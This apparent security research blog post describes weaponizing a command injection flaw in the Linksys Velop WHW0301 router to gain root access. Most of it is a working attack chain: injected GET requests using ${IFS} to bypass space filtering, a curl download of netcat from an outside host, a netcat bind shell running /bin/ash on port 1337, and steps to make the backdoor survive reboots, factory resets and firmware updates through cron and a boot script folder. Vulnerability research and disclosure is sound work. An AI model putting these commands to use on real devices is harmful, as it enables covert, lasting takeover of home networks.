2018-09-21 09:35 | Mads Joensen

Weaponizing a bug in the Linksys Velop

As described in the previous post, we discovered a command injection vulnerability in the Linksys Velop WHW0301 in its current firmware version 1.1.2.187020. This allowed an attacker to execute commands as the root user using simple GET requests to the routers web interface. The proof of concept was the GET request: GET /cgi-bin/zbtest.cgi?cmd=level&nodeid=1+2+0+1&level=;/sbin/reboot; HTTP/1.0 which causes the router to reboot. In this post, I will describe how I weaponized this command injection vulnerability in order to obtain a persistent backdoor that would survive both reboots, factory resets, and firmware updates.

The backdoor

The first step was to leverage the proof of concept to get a simple non-persistent backdoor and expand from that. In order to keep it simple, my backdoor would consist of the program netcat, a networking tool that can be used as a rudimentary backdoor. This required the netcat-traditional version of netcat compiled to the ARM processor architecture. As we did not have an ARM processor on hand at that time, I had to cross-compile it from my x86-64 to ARMv7. As most routers often ship with at limited set of libraries, netcat should be statically linked to guarantee that it would execute properly.

The technical audience will recognize that cross-compiling and statically linking is often quite cumbersome and very error-prone. It also requires a heavy set of libraries and compilers and as such, I decided to do the compiling in a Docker container to keep my own system "clean". I downloaded the current version of netcat from http://netcat.sourceforge.net/ and unpacked it. I decided to go with the following setup:

Folder structure of my compiling adventure

compile/ contained the files to be compiled and share/ would contain the output of the compilation. The Dockerfile is of course used to define the container and the Makefile to organize the process (and because I am lazy and like to misuse make). The content of the Dockerfile is:

FROM amd64/ubuntu:latest

RUN apt-get update && apt-get install -y locales && rm -rf /var/lib/apt/lists/* \
    && localedef -i en_US -c -f UTF-8 -A /usr/share/locale/locale.alias en_US.UTF-8
ENV LANG en_US.utf8

RUN apt-get update && apt-get install -y crossbuild-essential-armel crossbuild-essential-armhf

WORKDIR compile/

ADD compile/ /compile

The Dockerfile uses the latest Ubuntu container, fixes some locale issues, and installs two umbrella packages, crossbuild-essential-armel and crossbuild-essential-armhf, often used for cross-compiling. It also adds the contents of the compile/ folder to the container. The Makefile contains the command that does the actual compilation:

all: build run

build:
    sudo docker build -t toolchain .

run:
    sudo docker run -v ${PWD}/share:/share toolchain sh -c \
        "cd /compile/netcat && \
        ./configure CFLAGS=--static --host=arm-linux-gnueabi --prefix=/compile/netcat && \
        make && \
        make install && \
        file bin/netcat && \
        cp bin/netcat /share/"

This builds the container using the Dockerfile, adds a share with the container, and runs the compile command state above. The compile command is the well-known "configure-make-make install" pattern, but using the --static and --host flags forces the compilation to be statically linked and compiled to the ARMv7 processor architecture. Running the Makefile produces a statically linked netcat executable compiled to ARMv7:

The compiled netcat executable

From PoC to non-persistent backdoor

Now that I had the compiled netcat executable, I could continue exploring how to go from the proof of concept to a non-persistent rudimentary backdoor. The starting point was given with the proof of concept that allowed us to run the reboot command on the router as root. We know that the commands injected are executed as root as the reboot command requires root permissions in order to execute. At this point, it was still unknown if the command injection was blind or not. If it was blind, then regardless if the command was successful or not, no output would be produced that I could examine. First, I needed to get netcat onto the router, but this would require that the router could communicate with my system. I started by trying to ping my IP from the router and using tcpdump to capture ICMP packets to see if my command had been executed.

Since the command injection happens through a GET request, I had to worry about URL-encoding, as certain characters are reserved in the HTTP protocol. I used telnet to send the GET request as it does not automatically do any URL-encoding, but sends the request as is. I looked in the firmware, and found that the ping binary should be located in the /bin/ folder. I tried pinging:

GET /cgi-bin/zbtest.cgi?cmd=level&nodeid=1+2+0+1&level=;/bin/ping+-c10+192.168.1.20; HTTP/1.0

I got no captured packets, so I tried another encoding for a space character:

GET /cgi-bin/zbtest.cgi?cmd=level&nodeid=1+2+0+1&level=;/bin/ping%20-c10%20192.168.1.20; HTTP/1.0

No packets. Reverting to trying simple commands like reboot again, I figured out that the command injection is not blind. I executed the command:

GET /cgi-bin/zbtest.cgi?cmd=level&nodeid=1+2+0+1&level=;arp; HTTP/1.0

This gave an actual output in the HTML response:

host:~$ telnet 192.168.1.1 80
Trying 192.168.1.1...
Connected to 192.168.1.1.
Escape character is '^]'.
GET /cgi-bin/zbtest.cgi?cmd=level&nodeid=1+2+0+1&level=;arp; HTTP/1.0

HTTP/1.0 200 OK
X-Frame-Options: SAMEORIGIN
Content-type: text/html
Connection: close
CONTENT-LANGUAGE: en
Date: Wed, 01 Aug 2018 11:08:49 GMT
Server: lighttpd/1.4.39
[snip]
<h3>Zigbee lightbulb control</h3>
<p></p>
Run level (;arp;) command : 1+2+0+1<br><br>
? (192.168.1.20) at 8c:16:45:3b:b2:1d [ether]  on br0
Connection closed by foreign host.

The second line from the bottom is the response of the arp command.

Still trying to figure out why the pinging failed, I examined the zbtest.cgi file and the calls to the ShellExecute function. This revealed that it did not handle URL-encoding - it just inserted the command as is. This meant that the command I tried to execute remained as /bin/ping%20-c10%20192.168.1.20 and not /bin/ping -c10 192.168.1.20. This posed a major problem that made it impossible to run commands containing spaces, as the function did not handle the URL-encoding and any GET request with spaces in it would return a "400 Bad Request". Searching for a solution to this problem, we came upon the Unix variable ${IFS} which is the "internal field separator". This could be used instead of spaces and it contained no reserved characters. I retried pinging with ${IFS} instead of URL-encoded spaces:

GET /cgi-bin/zbtest.cgi?cmd=level&nodeid=1+2+0+1&level=;/bin/ping${IFS}-c10${IFS}192.168.1.20; HTTP/1.0

This produced ICMP packets:

13:28:52.245003 IP Linksys39321 > host: ICMP echo request, id 38516, seq 0, length 64
13:28:53.245062 IP Linksys39321 > host: ICMP echo request, id 38516, seq 1, length 64
13:28:54.245326 IP Linksys39321 > host: ICMP echo request, id 38516, seq 2, length 64
13:28:55.245524 IP Linksys39321 > host: ICMP echo request, id 38516, seq 3, length 64
13:28:56.245921 IP Linksys39321 > host: ICMP echo request, id 38516, seq 4, length 64
13:28:57.245975 IP Linksys39321 > host: ICMP echo request, id 38516, seq 5, length 64
13:28:58.246334 IP Linksys39321 > host: ICMP echo request, id 38516, seq 6, length 64
13:28:59.246034 IP Linksys39321 > host: ICMP echo request, id 38516, seq 7, length 64
13:29:00.246771 IP Linksys39321 > host: ICMP echo request, id 38516, seq 8, length 64
13:29:01.246356 IP Linksys39321 > host: ICMP echo request, id 38516, seq 9, length 64

From here it was simple. I needed to download netcat, make sure that it was executable, and execute a bind-backdoor:

GET /cgi-bin/zbtest.cgi?cmd=level&nodeid=1+2+0+1&level=;echo${IFS}IAo=>/tmp/space; HTTP/1.0
GET /cgi-bin/zbtest.cgi?cmd=level&nodeid=1+2+0+1&level=;S=$(base64${IFS}-d${IFS}/tmp/space);curl${S}-L${S}--insecure${S}removedurl.com/nc>/tmp/nc; HTTP/1.0
GET /cgi-bin/zbtest.cgi?cmd=level&nodeid=1+2+0+1&level=;S=$(base64${IFS}-d${IFS}/tmp/space);chmod${S}777${S}/tmp/nc; HTTP/1.0
GET /cgi-bin/zbtest.cgi?cmd=level&nodeid=1+2+0+1&level=;S=$(base64${IFS}-d${IFS}/tmp/space);/tmp/nc${S}-l${S}-p${S}1337${S}-e${S}/bin/ash; HTTP/1.0

I still wanted a proper space instead of the internal field separator, so the first command writes the Base64 encoding of a space to a file. The other commands starts with reading this space into a variable. The second command uses curl to download netcat and save it in the /tmp folder as it is always writable even on firmware devices. I then gave the netcat executable the highest permissions possible and executed a netcat command listening on port 1337 and executes ash, piping the input and output between the client and server. This meant that we now had a non-persistent backdoor!

Getting a non-persistent backdoor

Non-persistent backdoor to semi-persistent backdoor

A non-persistent backdoor is good start, but we want to stay persistent in the router through reboots, factory-resets, and firmware updates to maintain our foothold in the router and on the network. This is especially crucial, if we later want to move from the router to one of the connected devices or use our position on the network to gather information. Our bind backdoor currently operates out of the /tmp folder which unfortunately gets overwritten on every reboot and factory-resets. It also only executes when we run the appropriate command through the command injection. In order for the backdoor to become semi-persistent, we want to save it somewhere on the router that is unaffected by reboots and factory-resets. Furthermore, we want the backdoor to be executed at a regular interval so that we do not lose access if the backdoor crashes or exits. Exploring the filesystems using the df command we see that it is split in three major filesystems:

df -h
Filesystem                Size      Used Available Use% Mounted on
/dev/root                90.4M     71.0M     12.8M  85% /
mdev                    100.0K      4.0K     96.0K   4% /dev
none                    200.0M      3.7M    196.3M   2% /tmp
/dev/mmcblk0p19           3.3G    109.9M      3.0G   3% /tmp/var/config

We have the filesystem mounted at /tmp, the filesystem mounted at /tmp/var/config, and the filesystem mounted at /. We know that /tmp is non-persistent, so my initial guess for the place to persist was in the filesystem mounted at the root. This is where the operating system lives. Checking the mounts using the mount command, we see that it is a read-only filesystem:

mount
rootfs on / type rootfs (rw)
/dev/root on / type ext4 (ro,relatime,errors=remount-ro,data=ordered)
none on /proc type proc (rw,relatime)
none on /sys type sysfs (rw,relatime)
mdev on /dev type tmpfs (rw,relatime,size=100k)
none on /tmp type tmpfs (rw,relatime,size=204800k)
none on /dev/pts type devpts (rw,relatime,mode=600)
/dev/mmcblk0p19 on /tmp/var/config type ext4 (rw,sync,relatime,data=ordered)

I then tried a simple remount - sometimes this works:

mount -o remount,rw /dev/root /
mount
rootfs on / type rootfs (rw)
/dev/root on / type ext4 (rw,relatime,errors=remount-ro,data=ordered)
[snip]

To my surprise this worked, and the filesystem was now mounted as read-write. I was then able to move the netcat executable into /etc/init.d. Looking at the contents of the /etc/cron folder, I found a suitable script to piggyback. The arp_mon.sh script which is responsible for assigning static IP's to specified MAC-addresses is executed by cron every minute. I added the execution of netcat as a background job to this script. This would in theory start a new process every minute, but I lazily exploited the fact that netcat throws an error (and exits) when trying listen on a port already being used. The effect of this is that only one netcat process is running at any time. Testing both reboot and factory resets proved that both the netcat executable and the added line to the arp_mon.sh script survived. This meant that we now had a backdoor that is at least semi-persistent. Unfortunately these files/entire filesystem are overwritten in case of a firmware update, so our backdoor is not fully-persistent yet.

Semi-persistent backdoor to fully-persistent backdoor

To definitively ensure our foothold in the router, we still need to be able to persist in the case of a firmware update. This is often quite challenging, but if the attacker succeeds, it is virtually impossible to dislodge him / her without high technical sophistication or just tossing the router. Our initial strategy to accomplish this persistence was to reverse engineer the firmware update process to such a degree that we would be able to fake it. This would mean that every time the automatic or manual firmware update was triggered, we would make sure that the router behaved as it does in a firmware update: "Installing", rebooting, and having the firmware version updated in the web interface and in the operating system. If done correctly, the user would be none the wiser and not suspect any foul play.

While reversing the firmware update process I stumbled upon a curiosity. I was examining the contents of the filesystem mounted at /tmp/var/config during firmware updates, and while changes to the files included in the firmware were overwritten as expected, any new files added to that filesystem persisted. This meant that I could move the backdoor from its current location in /etc/init.d to this new location, and have it and its permissions persist through a firmware update. Unfortunately, the arp_mon.sh script that I piggybacked the execution of the backdoor onto were overwritten by firmware updates. So while the netcat executable was persistent, the execution of it was not. Searching for a solution to this problem, I came upon a script /etc/system/wait which is run by the init process. Any changes made to this script would be overwritten by a firmware-update, but I discovered a handy function (the comment is by the developers):

# This is an entry point where developers can quickly add test scripts
# that will be run after boot up
if [ -d "/var/config/run_scripts" ] ; then
        echo "running scripts in /var/config/run_script directory !!!" >> /dev/console
        execute_dir "/var/config/run_scripts" &
fi

This means that on reboot, factory-reset, and firmware updates any script placed in the /var/config/run_scripts folder would be run at startup. It should be noted that /var/config/ points to /tmp/var/config and this means that any files and folders created persists through a firmware update. The run_scripts/ folder is not part of the firmware which means that it and its contents are not overwritten. By adding the run_scripts/ folder and a script to it, I now had a way to execute my persistent netcat executable. The script I added makes sure that the backdoor is executed by cron every minute like the semi-persistent backdoor. This means that as long as the new firmware does not remove this "convenience" function, my backdoor is fully-persistent. The steps from proof of concept to fully persistent backdoor that I have described, can easily be automated and included as part of the initial payload.

Using the command injection vulnerability in the Linksys Velop WHW0301 router, described in the previous post, I went from being able to inject commands to a fully-persistent backdoor which can survive reboots, factory-resets, and firmware updates.